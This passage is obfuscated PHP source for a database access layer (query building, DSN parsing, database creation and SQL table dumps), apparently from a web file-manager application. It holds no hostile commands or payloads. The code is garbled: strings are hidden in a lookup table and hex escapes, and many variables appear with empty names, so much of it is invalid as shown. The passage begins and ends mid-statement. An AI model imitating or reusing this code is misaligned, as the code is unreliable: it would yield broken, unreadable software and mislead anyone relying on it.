$addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ڀ = array()) { $֤ =& $_SERVER[ׇ]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ˤ = $this->findWhereField($); if (!$ˤ || isset($[$֤[368]]) || isset($[$֤[429]])) { return parent::select($ڀ); } $ = $[$֤[352]][$ˤ][1]; $ = is_array($) ? $ : array(); $ = null; for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $[$֤[352]][$ˤ][1] = $; $this->optionsValue($); $ʯ = parent::select($ڀ); if (!$ʯ) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $ʯ); } return $; } public function delete($ġֈ = array()) { $و =& $_SERVER[ׇ]; $ = self::SQL_WHERE_IN_CHUNK; $ڵ = $this->optionsValue(); $ľ = $this->findWhereField($ڵ); if (!$ľ) { return parent::delete($ġֈ); } $͒ = 0; $ = $ڵ[$و[352]][$ľ][1]; $ = is_array($) ? $ : array(); for ($Ǵ = 0; $Ǵ < count($); $Ǵ += $) { $Ǭ = array_slice($, $Ǵ, $); if (!is_array($Ǭ) || count($Ǭ) == 0) { break; } $ڵ[$و[352]][$ľ][1] = $Ǭ; $this->optionsValue($ڵ); $͒ += parent::delete($ġֈ); } return $͒; } private function findWhereField($ؘ) { $ύ =& $_SERVER[ׇ]; $亁 = self::SQL_WHERE_IN_CHUNK; if (!is_array($ؘ) || !is_array($ؘ[$ύ[352]])) { return !1; } foreach ($ؘ[$ύ[352]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $ύ[7] && is_array($[1]) && count($[1]) > $亁) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[ׇ][471], $); } } goto AԳ; d򎌳: class DbSqlite3 extends DbSqlite3Base { public function query($) { $Ч =& $_SERVER[ׇ]; if (!CacheLock::fileLock($Ч[13])) { return !1; } $ƿ = parent::query($); CacheLock::fileUnLock($Ч[13]); return $ƿ; } public function execute($ң) { $ۢ =& $_SERVER[ׇ]; if (!CacheLock::fileLock($ۢ[13])) { return !1; } $ڣ = parent::execute($ң); CacheLock::fileUnLock($ۢ[13]); return $ڣ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\x68\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\156\x65\161" => "\74\x3e", "\147\x74" => "\76", "\x65\147\x74" => "\x3e\x3d", "\154\164" => "\74", "\x65\154\164" => "\74\x3d", "\156\x6f\x74\154\x69\153\145" => "\x4e\117\124\x20\114\x49\x4b\x45", "\x6c\x69\x6b\145" => "\114\111\113\105", "\x69\156" => "\111\116", "\x6e\x6f\164\x69\x6e" => "\116\117\x54\x20\x49\x4e", "\156\x6f\x74\40\151\156" => "\x4e\117\x54\x20\x49\116", "\142\145\164\167\145\x65\156" => "\102\105\x54\127\x45\105\x4e", "\156\x6f\164\142\145\x74\167\145\145\x6e" => "\116\x4f\x54\x20\102\105\124\127\x45\105\x4e", "\156\x6f\164\40\142\145\164\x77\x65\145\x6e" => "\116\x4f\x54\x20\102\x45\x54\x57\x45\105\116"); protected $selectSql = "\123\105\114\105\x43\124\45\104\111\123\124\x49\116\x43\124\x25\40\x25\x46\111\x45\114\x44\45\40\x46\122\x4f\x4d\40\45\124\101\x42\x4c\105\45\45\x4a\117\111\116\45\x25\x57\110\105\x52\105\x25\x25\x47\122\x4f\x55\120\45\45\110\101\x56\x49\x4e\x47\x25\45\117\122\x44\105\122\x25\45\114\x49\115\111\124\x25\x20\x25\x55\116\111\117\x4e\x25\x25\x43\117\x4d\115\x45\116\x54\x25"; protected $bind = array(); public static function getInstance() { $ܭ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ׇ][1038], $ܭ); } public function factory($޿ = '') { $ =& $_SERVER[ׇ]; $޿ = $this->parseConfig($޿); if (empty($޿[$[1039]])) { think_exception(think_lang($[1040])); } $this->dbType = ucwords(strtolower($޿[$[1039]])); $ = $[1041] . $this->dbType; if (class_exists($)) { $׷ = new $($޿); if ($[1042] != strtolower($޿[$[1039]])) { $׷->dbType = strtoupper($this->dbType); } else { $׷->dbType = $this->_getDsnType($޿[$[994]]); } } else { think_exception(think_lang($[1043]) . $[1044] . $); } return $׷; } public function __call($Í, $) { if (method_exists($this, $Í)) { return call_user_func_array(array($this, $Í), $); } } protected function _getDsnType($) { $ = explode($_SERVER[ׇ][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($հ = '') { $Ƅ =& $_SERVER[ׇ]; if (!empty($հ) && is_string($հ)) { $հ = $this->parseDSN($հ); } elseif (is_array($հ)) { $հ = array_change_key_case($հ); $հ = array($Ƅ[1039] => $հ[$Ƅ[1045]], $Ƅ[966] => $հ[$Ƅ[1046]], $Ƅ[967] => $հ[$Ƅ[1047]], $Ƅ[964] => $հ[$Ƅ[1048]], $Ƅ[965] => $հ[$Ƅ[1049]], $Ƅ[21] => $հ[$Ƅ[1050]], $Ƅ[994] => $հ[$Ƅ[1051]], $Ƅ[17] => isset($հ[$Ƅ[1052]]) ? $հ[$Ƅ[1052]] : array()); } elseif (empty($հ)) { if (think_config($Ƅ[1053]) && $Ƅ[1042] != strtolower(think_config($Ƅ[1054]))) { $հ = $this->parseDSN(think_config($Ƅ[1053])); } else { $հ = array($Ƅ[1039] => think_config($Ƅ[1054]), $Ƅ[966] => think_config($Ƅ[1055]), $Ƅ[967] => think_config($Ƅ[1056]), $Ƅ[964] => think_config($Ƅ[1057]), $Ƅ[965] => think_config($Ƅ[1058]), $Ƅ[21] => think_config($Ƅ[323]), $Ƅ[994] => think_config($Ƅ[1053]), $Ƅ[17] => think_config($Ƅ[1059])); } } return $հ; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[ׇ][22])) { $this->_linkID = $this->multiConnect($); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $৷ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ɞރ = false) { $ɍ =& $_SERVER[ׇ]; static $ޗ = array(); static $ = -1; if (empty($ޗ)) { foreach ($this->config as $ݮ => $ʃ) { $ޗ[$ݮ] = explode($ɍ[50], $ʃ); } } if (think_config($ɍ[1060])) { if ($ɞރ || think_config($ɍ[471]) === !0) { $ޝ = floor(mt_rand(0, think_config($ɍ[1061]) - 1)); $ = $ޝ; } else { if (is_numeric(think_config($ɍ[1062]))) { $ޝ = think_config($ɍ[1062]); } else { $ޝ = floor(mt_rand(think_config($ɍ[1061]), count($ޗ[$ɍ[964]]) - 1)); } } } else { $ޝ = floor(mt_rand(0, count($ޗ[$ɍ[964]]) - 1)); $ = $ޝ; } $ޝ = $ !== -1 ? $ : $ޝ; $ = array($ɍ[966] => isset($ޗ[$ɍ[966]][$ޝ]) ? $ޗ[$ɍ[966]][$ޝ] : $ޗ[$ɍ[966]][0], $ɍ[967] => isset($ޗ[$ɍ[967]][$ޝ]) ? $ޗ[$ɍ[967]][$ޝ] : $ޗ[$ɍ[967]][0], $ɍ[964] => isset($ޗ[$ɍ[964]][$ޝ]) ? $ޗ[$ɍ[964]][$ޝ] : $ޗ[$ɍ[964]][0], $ɍ[965] => isset($ޗ[$ɍ[965]][$ޝ]) ? $ޗ[$ɍ[965]][$ޝ] : $ޗ[$ɍ[965]][0], $ɍ[21] => isset($ޗ[$ɍ[21]][$ޝ]) ? $ޗ[$ɍ[21]][$ޝ] : $ޗ[$ɍ[21]][0], $ɍ[994] => isset($ޗ[$ɍ[994]][$ޝ]) ? $ޗ[$ɍ[994]][$ޝ] : $ޗ[$ɍ[994]][0], $ɍ[17] => isset($ޗ[$ɍ[17]][$ޝ]) ? $ޗ[$ɍ[17]][$ޝ] : $ޗ[$ɍ[17]][0]); return $this->connect($, $ޝ); } public function parseDSN($ʑ) { $ň =& $_SERVER[ׇ]; if (empty($ʑ)) { return !1; } $Ε = parse_url($ʑ); if ($Ε[$ň[207]]) { $ = array($ň[1039] => $Ε[$ň[207]], $ň[966] => isset($Ε[$ň[662]]) ? $Ε[$ň[662]] : $ň[12], $ň[967] => isset($Ε[$ň[1063]]) ? $Ε[$ň[1063]] : $ň[12], $ň[964] => isset($Ε[$ň[208]]) ? $Ε[$ň[208]] : $ň[12], $ň[965] => isset($Ε[$ň[209]]) ? $Ε[$ň[209]] : $ň[12], $ň[21] => isset($Ε[$ň[87]]) ? substr($Ε[$ň[87]], 1) : $ň[12]); } else { preg_match($ň[1064], trim($ʑ), $҉); $ = array($ň[1039] => $҉[1], $ň[966] => $҉[2], $ň[967] => $҉[3], $ň[964] => $҉[4], $ň[965] => $҉[5], $ň[21] => $҉[6]); } $[$ň[994]] = $ň[12]; return $; } protected function debug() { $肻 =& $_SERVER[ׇ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $肻[1065]; if (think_config($肻[1066])) { think_status($肻[1067]); think_trace($this->queryStr . $肻[1068] . think_status($肻[24], $肻[1067], 6) . $肻[1069], $肻[12], $肻[1070]); } } protected function parseLock($ؗ = false) { $ԟ냄 =& $_SERVER[ׇ]; if (!$ؗ) { return $ԟ냄[12]; } if ($ԟ냄[996] == $this->dbType) { return $ԟ냄[1071]; } return $ԟ냄[1072]; } protected function parseSet($˟) { $˫֡ =& $_SERVER[ׇ]; foreach ($˟ as $ => $ꈜ) { if (is_array($ꈜ) && $˫֡[373] == $ꈜ[0]) { $מ[] = $this->parseKey($) . $˫֡[962] . $ꈜ[1]; } elseif (is_scalar($ꈜ) || is_null($ꈜ)) { $מ[] = $this->parseKey($) . $˫֡[962] . $this->parseValue($ꈜ); } } return $˫֡[1073] . implode($˫֡[50], $מ); } protected function bindParam($΢, $) { $this->bind[$_SERVER[ׇ][4] . $΢] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $˓ = true) { if ($˓) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($ğٔ) { $ =& $_SERVER[ׇ]; $ğٔ = trim($ğٔ); if (!preg_match($[1074], $ğٔ)) { think_exception($[1075] . $ğٔ); } return $ğٔ; } protected function parseValue($ķ) { $ =& $_SERVER[ׇ]; if (is_string($ķ)) { $ķ = $[1035] . $this->escapeString($ķ) . $[1035]; } elseif (isset($ķ[0]) && is_string($ķ[0]) && strtolower($ķ[0]) == $[373]) { $ķ = $this->escapeString($ķ[1]); } elseif (is_array($ķ)) { $ķ = array_map(array($this, $[1036]), $ķ); } elseif (is_bool($ķ)) { $ķ = $ķ ? $[91] : $[228]; } elseif (is_null($ķ)) { $ķ = $[106]; } return $ķ; } protected function parseField($ް׶) { $ =& $_SERVER[ׇ]; if (is_string($ް׶) && strpos($ް׶, $[50])) { $ް׶ = explode($[50], $ް׶); } if (is_array($ް׶)) { $閝 = array(); foreach ($ް׶ as $墓 => $) { if (!is_numeric($墓)) { $閝[] = $this->parseKey($墓, !1) . $[1076] . $this->parseKey($); } else { $閝[] = $this->parseKey($); } } $ = implode($[50], $閝); } elseif (is_string($ް׶) && !empty($ް׶)) { $ = $ް׶; } else { $ = $[220]; } return $; } protected function parseTable($۝) { $Ӛ =& $_SERVER[ׇ]; if (is_array($۝)) { $ҙ = array(); foreach ($۝ as $֗ => $뗻Ў) { if (!is_numeric($֗)) { $ҙ[] = $this->parseKey($֗) . $Ӛ[53] . $this->parseKey($뗻Ў); } else { $ҙ[] = $this->parseKey($֗); } } $۝ = $ҙ; } elseif (is_string($۝)) { if (strstr($۝, $Ӛ[53])) { return $۝; } $۝ = explode($Ӛ[50], $۝); array_walk($۝, array($this, $Ӛ[984])); } return $Ӛ[978] . trim(implode($Ӛ[1077], $۝), $Ӛ[461]) . $Ӛ[978]; } protected function parseWhere($) { $ㅟ =& $_SERVER[ׇ]; $ݤ֝ġ = $ㅟ[12]; if (is_string($)) { $ݤ֝ġ = $; } else { $ = isset($[$ㅟ[1078]]) ? strtoupper($[$ㅟ[1078]]) : $ㅟ[12]; if (in_array($, array($ㅟ[1079], $ㅟ[1080], $ㅟ[1081]))) { $ = $ㅟ[53] . $ . $ㅟ[53]; unset($[$ㅟ[1078]]); } else { $ = $ㅟ[1082]; } foreach ($ as $Ľ̢ => $ڈ) { $ݤ֝ġ .= $ㅟ[354]; if (is_numeric($Ľ̢)) { $Ľ̢ = $ㅟ[1083]; } if (0 === strpos($Ľ̢, $ㅟ[11])) { $ݤ֝ġ .= $this->parseThinkWhere($Ľ̢, $ڈ); } else { if (!preg_match($ㅟ[1084], trim($Ľ̢))) { think_exception(think_lang($ㅟ[1085]) . $ㅟ[4] . $Ľ̢); } $Ӆ = is_array($ڈ) && isset($ڈ[$ㅟ[1086]]); $Ľ̢ = trim($Ľ̢); if (strpos($Ľ̢, $ㅟ[214])) { $ê = explode($ㅟ[214], $Ľ̢); $ = array(); foreach ($ê as $򂫂 => $ҘԒ) { $Ɵ = $Ӆ ? $ڈ[$򂫂] : $ڈ; $[] = $ㅟ[337] . $this->parseWhereItem($this->parseKey($ҘԒ), $Ɵ) . $ㅟ[983]; } $ݤ֝ġ .= implode($ㅟ[1087], $); } elseif (strpos($Ľ̢, $ㅟ[360])) { $ê = explode($ㅟ[360], $Ľ̢); $ = array(); foreach ($ê as $򂫂 => $ҘԒ) { $Ɵ = $Ӆ ? $ڈ[$򂫂] : $ڈ; $[] = $ㅟ[337] . $this->parseWhereItem($this->parseKey($ҘԒ), $Ɵ) . $ㅟ[983]; } $ݤ֝ġ .= implode($ㅟ[1082], $); } else { $ݤ֝ġ .= $this->parseWhereItem($this->parseKey($Ľ̢), $ڈ); } } $ݤ֝ġ .= $ㅟ[355] . $; } $ݤ֝ġ = substr($ݤ֝ġ, 0, -strlen($)); } return empty($ݤ֝ġ) ? $ㅟ[12] : $ㅟ[1088] . $ݤ֝ġ; } protected function parseWhereItem($Ġͫ, $) { $› =& $_SERVER[ׇ]; $ = $›[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($›[962], $›[1089], $›[1090], $›[1091], $›[1092], $›[1093]))) { $ .= $Ġͫ . $›[53] . $[0] . $›[53] . $this->parseValue($[1]); } elseif (preg_match($›[1094], $[0])) { $ .= $Ġͫ . $›[53] . $this->exp[$] . $›[53] . $this->parseValue($[1]); } elseif (preg_match($›[1095], $[0])) { if (is_array($[1])) { $ = isset($[2]) ? strtoupper($[2]) : $›[1080]; if (in_array($, array($›[1079], $›[1080], $›[1081]))) { $ = array(); foreach ($[1] as $ę񔻄) { $[] = $Ġͫ . $›[53] . $this->exp[$] . $›[53] . $this->parseValue($ę񔻄); } $ .= $›[337] . implode($›[53] . $ . $›[53], $) . $›[983]; } } else { $ .= $Ġͫ . $›[53] . $this->exp[$] . $›[53] . $this->parseValue($[1]); } } elseif ($›[373] == $) { $ .= $›[981] . $Ġͫ . $›[53] . $[1] . $›[1096]; } elseif (preg_match($›[1097], $[0])) { $ .= $[0]; } elseif (preg_match($›[1098], $[0])) { if (isset($[2]) && $›[373] == $[2]) { $ .= $Ġͫ . $›[53] . $this->exp[$] . $›[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($›[50], $[1]); } $˽ = implode($›[50], $this->parseValue($[1])); $ .= $Ġͫ . $›[53] . $this->exp[$] . $›[981] . $˽ . $›[983]; } } elseif (preg_match($›[1099], $[0])) { $ = is_string($[1]) ? explode($›[50], $[1]) : $[1]; $ .= $›[981] . $Ġͫ . $›[53] . $this->exp[$] . $›[53] . $this->parseValue($[0]) . $›[1082] . $this->parseValue($[1]) . $›[355]; } else { think_exception(think_lang($›[1085]) . $›[4] . $[0]); } } else { $ = count($); $Ԯ = $›[12]; if (is_string($[$ - 1])) { $Ԯ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $›[12]; if (in_array($Ԯ, array($›[1079], $›[1080], $›[1081]))) { $ = $ - 1; } } else { $Ԯ = $›[1079]; } for ($ޓ = 0; $ޓ < $; $ޓ++) { $ = is_array($[$ޓ]) ? $[$ޓ][1] : $[$ޓ]; if ($›[373] == strtolower($[$ޓ][0])) { $ .= $›[337] . $Ġͫ . $›[53] . $ . $›[1096] . $Ԯ . $›[53]; } else { $ɝƈ = is_array($[$ޓ]) ? $this->exp[strtolower($[$ޓ][0])] : $›[962]; if (!$ɝƈ && is_array($[$ޓ]) && in_array($[$ޓ][0], array($›[962], $›[1089], $›[1090], $›[1091], $›[1092], $›[1093]))) { $ɝƈ = $[$ޓ][0]; } $ .= $›[337] . $Ġͫ . $›[53] . $ɝƈ . $›[53] . $this->parseValue($) . $›[1096] . $Ԯ . $›[53]; } } $ = substr($, 0, -4); } } else { $ .= $Ġͫ . $›[1100] . $this->parseValue($); } return $; } protected function parseThinkWhere($Ƅ狘, $ӿ) { $ƕ =& $_SERVER[ׇ]; $ = $ƕ[12]; switch ($Ƅ狘) { case $ƕ[428]: $ = $ӿ; break; case $ƕ[1083]: $ = is_string($ӿ) ? $ӿ : substr($this->parseWhere($ӿ), 6); break; case $ƕ[1101]: parse_str($ӿ, $); if (isset($[$ƕ[1078]])) { $ԃ = $ƕ[53] . strtoupper($[$ƕ[1078]]) . $ƕ[53]; unset($[$ƕ[1078]]); } else { $ԃ = $ƕ[1082]; } $ = array(); foreach ($ as $ݟ => $ޕ) { $[] = $this->parseKey($ݟ) . $ƕ[1100] . $this->parseValue($ޕ); } $ = implode($ԃ, $); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[ׇ]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($ǃ) { $ڟϤ =& $_SERVER[ׇ]; $߽ = $ڟϤ[12]; if (!empty($ǃ)) { if (is_array($ǃ)) { foreach ($ǃ as $ф => $؝) { if (!1 !== stripos($؝, $ڟϤ[1102])) { $߽ .= $ڟϤ[53] . $؝; } else { $߽ .= $ڟϤ[1103] . $؝; } } } else { $߽ .= $ڟϤ[1103] . $ǃ; } } $߽ = preg_replace($ڟϤ[1104], think_config($ڟϤ[1008]) . $ڟϤ[1105], $߽); return $߽; } protected function parseOrder($) { $ݧ =& $_SERVER[ׇ]; if (is_array($)) { $؎ï = array(); foreach ($ as $Ϧ => $س) { if (is_numeric($Ϧ)) { $؎ï[] = $this->parseKey($س); } else { $س = in_array(strtoupper(trim($س)), array($ݧ[1106], $ݧ[1107])) ? $ݧ[53] . $س : $ݧ[12]; if (preg_match($ݧ[1108], $Ϧ)) { $؎ï[] = $this->parseKey($Ϧ) . $س; } else { think_exception($ݧ[1109] . $Ϧ); } } } $ = implode($ݧ[50], $؎ï); } return !empty($) ? $ݧ[1110] . $ : $ݧ[12]; } protected function parseGroup($) { $Ϣᗆ =& $_SERVER[ׇ]; return !empty($) ? $Ϣᗆ[1111] . $ : $Ϣᗆ[12]; } protected function parseHaving($) { $ٍ =& $_SERVER[ׇ]; return !empty($) ? $ٍ[1112] . $ : $ٍ[12]; } protected function parseComment($Ă) { $ɚ =& $_SERVER[ׇ]; return !empty($Ă) ? $ɚ[1113] . $Ă . $ɚ[1114] : $ɚ[12]; } protected function parseDistinct($Ŀ) { $ذ =& $_SERVER[ׇ]; return !empty($Ŀ) ? $ذ[1115] : $ذ[12]; } protected function parseUnion($) { $ =& $_SERVER[ׇ]; if (empty($)) { return $[12]; } if (isset($[$[424]])) { $ = $[1116]; unset($[$[424]]); } else { $ = $[1117]; } foreach ($ as $Ń) { $պ[] = $ . (is_array($Ń) ? $this->buildSelectSql($Ń) : $Ń); } return implode($[53], $պ); } public function insert($ӆ, $ɴ = array(), $ = false) { $ԃģ =& $_SERVER[ׇ]; $² = $ᬛ = array(); $this->model = $ɴ[$ԃģ[358]]; foreach ($ӆ as $̏ => $) { if (is_array($) && $ԃģ[373] == $[0]) { $ᬛ[] = $this->parseKey($̏); $²[] = $[1]; } elseif (is_scalar($) || is_null($)) { $ᬛ[] = $this->parseKey($̏); $²[] = $this->parseValue($); } } $؁ = ($ ? $ԃģ[985] : $ԃģ[986]) . $ԃģ[987] . $this->parseTable($ɴ[$ԃģ[356]]) . $ԃģ[981] . implode($ԃģ[50], $ᬛ) . $ԃģ[982] . implode($ԃģ[50], $²) . $ԃģ[983]; $؁ .= $this->parseLock(isset($ɴ[$ԃģ[916]]) ? $ɴ[$ԃģ[916]] : !1); $؁ .= $this->parseComment(!empty($ɴ[$ԃģ[430]]) ? $ɴ[$ԃģ[430]] : $ԃģ[12]); return $this->execute($؁, $this->parseBind(!empty($ɴ[$ԃģ[361]]) ? $ɴ[$ԃģ[361]] : array())); } public function selectInsert($ױ, $墖, $ʊ = array()) { $֤ =& $_SERVER[ׇ]; $this->model = $ʊ[$֤[358]]; if (is_string($ױ)) { $ױ = explode($֤[50], $ױ); } array_walk($ױ, array($this, $֤[984])); $ = $֤[1118] . $this->parseTable($墖) . $֤[981] . implode($֤[50], $ױ) . $֤[1096]; $ .= $this->buildSelectSql($ʊ); return $this->execute($, $this->parseBind(!empty($ʊ[$֤[361]]) ? $ʊ[$֤[361]] : array())); } public function update($, $Ͼ) { $ =& $_SERVER[ׇ]; $this->model = $Ͼ[$[358]]; $觷 = $[1119] . $this->parseTable($Ͼ[$[356]]) . $this->parseSet($) . $this->parseWhere(!empty($Ͼ[$[352]]) ? $Ͼ[$[352]] : $[12]) . $this->parseOrder(!empty($Ͼ[$[441]]) ? $Ͼ[$[441]] : $[12]) . $this->parseLimit(!empty($Ͼ[$[368]]) ? $Ͼ[$[368]] : $[12]) . $this->parseLock(isset($Ͼ[$[916]]) ? $Ͼ[$[916]] : !1) . $this->parseComment(!empty($Ͼ[$[430]]) ? $Ͼ[$[430]] : $[12]); return $this->execute($觷, $this->parseBind(!empty($Ͼ[$[361]]) ? $Ͼ[$[361]] : array())); } public function delete($ݔ = array()) { $ŤɃ =& $_SERVER[ׇ]; $this->model = $ݔ[$ŤɃ[358]]; $ꄐ = $ŤɃ[1120] . $this->parseTable($ݔ[$ŤɃ[356]]) . $this->parseWhere(!empty($ݔ[$ŤɃ[352]]) ? $ݔ[$ŤɃ[352]] : $ŤɃ[12]) . $this->parseOrder(!empty($ݔ[$ŤɃ[441]]) ? $ݔ[$ŤɃ[441]] : $ŤɃ[12]) . $this->parseLimit(!empty($ݔ[$ŤɃ[368]]) ? $ݔ[$ŤɃ[368]] : $ŤɃ[12]) . $this->parseLock(isset($ݔ[$ŤɃ[916]]) ? $ݔ[$ŤɃ[916]] : !1) . $this->parseComment(!empty($ݔ[$ŤɃ[430]]) ? $ݔ[$ŤɃ[430]] : $ŤɃ[12]); return $this->execute($ꄐ, $this->parseBind(!empty($ݔ[$ŤɃ[361]]) ? $ݔ[$ŤɃ[361]] : array())); } public function select($ = array()) { $‘ߎ =& $_SERVER[ׇ]; $this->model = $[$‘ߎ[358]]; $ = $this->buildSelectSql($); $ϳή = isset($[$‘ߎ[425]]) ? $[$‘ߎ[425]] : !1; if ($ϳή) { $ղ = is_string($ϳή[$‘ߎ[97]]) ? $ϳή[$‘ߎ[97]] : $‘ߎ[1121] . md5($); $ٶ = think_cache($ղ, $‘ߎ[12], $ϳή); if (!1 !== $ٶ) { return $ٶ; } } $ = $this->query($, $this->parseBind(!empty($[$‘ߎ[361]]) ? $[$‘ߎ[361]] : array())); if ($ϳή && !1 !== $) { think_cache($ղ, $, $ϳή); } return $; } public function buildSelectSql($ = array()) { $ =& $_SERVER[ׇ]; if (isset($[$[429]])) { if (strpos($[$[429]], $[50])) { list($, $ڭ) = explode($[50], $[$[429]]); } else { $ = $[$[429]]; } $ = $ ? $ : 1; $ڭ = isset($ڭ) ? $ڭ : (is_numeric($[$[368]]) ? $[$[368]] : 20); $ = $ڭ * ((int) $ - 1); $[$[368]] = $ . $[50] . $ڭ; } if (think_config($[1122])) { $ɶ = $[1123] . md5(serialize($)); $᚟ = think_cache($ɶ); if ($᚟) { return $᚟; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[916]]) ? $[$[916]] : !1); if (isset($ɶ)) { think_cache($ɶ, $); } return $; } public function parseSql($ϰռ, $ؓ = array()) { $֬ =& $_SERVER[ׇ]; $ϰռ = str_replace(array($֬[1124], $֬[1125], $֬[1126], $֬[1127], $֬[1128], $֬[1129], $֬[1130], $֬[1131], $֬[1132], $֬[1133], $֬[1134]), array($this->parseTable("{$ؓ[$֬[356]]}"), $this->parseDistinct(isset($ؓ[$֬[1135]]) ? $ؓ[$֬[1135]] : !1), $this->parseField(!empty($ؓ[$֬[350]]) ? $ؓ[$֬[350]] : $֬[220]), $this->parseJoin(!empty($ؓ[$֬[359]]) ? $ؓ[$֬[359]] : $֬[12]), $this->parseWhere(!empty($ؓ[$֬[352]]) ? $ؓ[$֬[352]] : $֬[12]), $this->parseGroup(!empty($ؓ[$֬[578]]) ? $ؓ[$֬[578]] : $֬[12]), $this->parseHaving(!empty($ؓ[$֬[1136]]) ? $ؓ[$֬[1136]] : $֬[12]), $this->parseOrder(!empty($ؓ[$֬[441]]) ? $ؓ[$֬[441]] : $֬[12]), $this->parseLimit(!empty($ؓ[$֬[368]]) ? $ؓ[$֬[368]] : $֬[12]), $this->parseUnion(!empty($ؓ[$֬[423]]) ? $ؓ[$֬[423]] : $֬[12]), $this->parseComment(!empty($ؓ[$֬[430]]) ? $ؓ[$֬[430]] : $֬[12])), $ϰռ); return $ϰռ; } public function getLastSql($譢 = '') { return $譢 ? $this->modelSql[$譢] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($ݻ) { return addslashes($ݻ); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ˆ = array()) { $ =& $_SERVER[ׇ]; if (empty($ˆ)) { $ˆ = $GLOBALS[$[6]][$[21]]; } $this->database = $ˆ; } public function model($ڭ = '') { return new ModelBase($ڭ, $_SERVER[ׇ][12], $this->database); } public function db($ = false) { $Ǭ =& $_SERVER[ׇ]; $б = array_change_key_case($this->database); if ($this->dbType() == $Ǭ[13] || !$) { return $this->model()->db(); } $ = $б[$Ǭ[1050]]; $б[$Ǭ[1050]] = $Ǭ[12]; if ($б[$Ǭ[1045]] == $Ǭ[1042]) { $қ = $б[$Ǭ[1051]]; $б[$Ǭ[1051]] = substr($қ, 0, strrpos($қ, $Ǭ[1137])); } $this->database = $б; $Ά = $this->model()->db(); try { $Ѐ = $Ά->execute("\x73\x68\x6f\x77\x20\144\141\x74\x61\142\x61\x73\x65\163\x20\x6c\x69\153\145\40\47{$}\47"); } catch (Exception $ɂ) { } if (!$Ѐ) { $Ά->execute("\143\162\145\x61\x74\145\x20\144\x61\x74\x61\142\x61\x73\x65\40\x60{$}\x60"); } $б[$Ǭ[1050]] = $; if ($б[$Ǭ[1045]] == $Ǭ[1042]) { $б[$Ǭ[1051]] .= $Ǭ[1137] . $; } $this->database = $б; $Ά->execute("\165\163\145\x20\140{$}\x60"); return $Ά; } public function createTable($, &$) { $ =& $_SERVER[ׇ]; if (!IO::exist($)) { ActionCall($[1138], !0, 0); show_json(LNG($[1139]), !1); } $ɣ = $this->model()->db(); $ɇ = sqlSplit(IO::getContent($)); foreach ($ɇ as $ǯ) { $񖡁 = stripos($ǯ, $[1140]) === 0; if ($񖡁) { $->task[$[1141]] += 1; } $ɣ->execute($ǯ); if ($񖡁) { preg_match($[1142], $ǯ, $Ⱦ); $->task[$[1143]] = $Ⱦ[1]; $->update(1); } } } public function insertTable($α, &$ܿ) { $ =& $_SERVER[ׇ]; $ = $this->model()->db(); $ = $ ? array($) : $Â->getTables(); foreach ($α as $ؽ) { $ = basename($ؽ, $[861]); if (!in_array($, $)) { continue; } $ܿ->task[$[1143]] = $; if (get_filesize($ؽ) == 0) { continue; } $ = $this->sqlToDb($ؽ, $ܿ); if (!$) { ActionCall($[1138], !0, 0); show_json(LNG($[1144]) . "\x5b{$}\x5d", !1); } } } public function sqlFromDb($ٚ, $道, &$, $搮 = '') { if ($) { $->task[$_SERVER[ׇ][1143]] = $ٚ; } $׆ = $this->model($ٚ); $⬅ = 0; $ȶ = 0; $͆ = 10000; $Ԛ = fopen($道, $_SERVER[ׇ][1145]); $ޟҺ = $׆->getPk(); $ = $׆->getDbFields(); $⧆ = $_SERVER[ׇ][12]; if ($GLOBALS[$_SERVER[ׇ][860]] && in_array($ٚ, array($_SERVER[ׇ][1146], $_SERVER[ׇ][1147]))) { $⧆ = $ٚ; } do { $ = array($ޟҺ => array($_SERVER[ׇ][1092], $ȶ)); $ō = $׆->where($)->field($)->order($ޟҺ . $_SERVER[ׇ][1148])->limit($͆)->select(); $ō = !empty($ō) ? $ō : array(); if (!($ư = count($ō))) { break; } $њ = end($ō); $ȶ = $њ[$ޟҺ]; $վ = array(); foreach ($ō as $Ɋ) { if ($⧆) { if ($ٚ == $_SERVER[ׇ][1146]) { if ($Ɋ[$_SERVER[ׇ][33]] == $_SERVER[ׇ][1149]) { $٠ = json_decode($Ɋ[$_SERVER[ׇ][450]], !0); if ($٠[$_SERVER[ׇ][32]] == 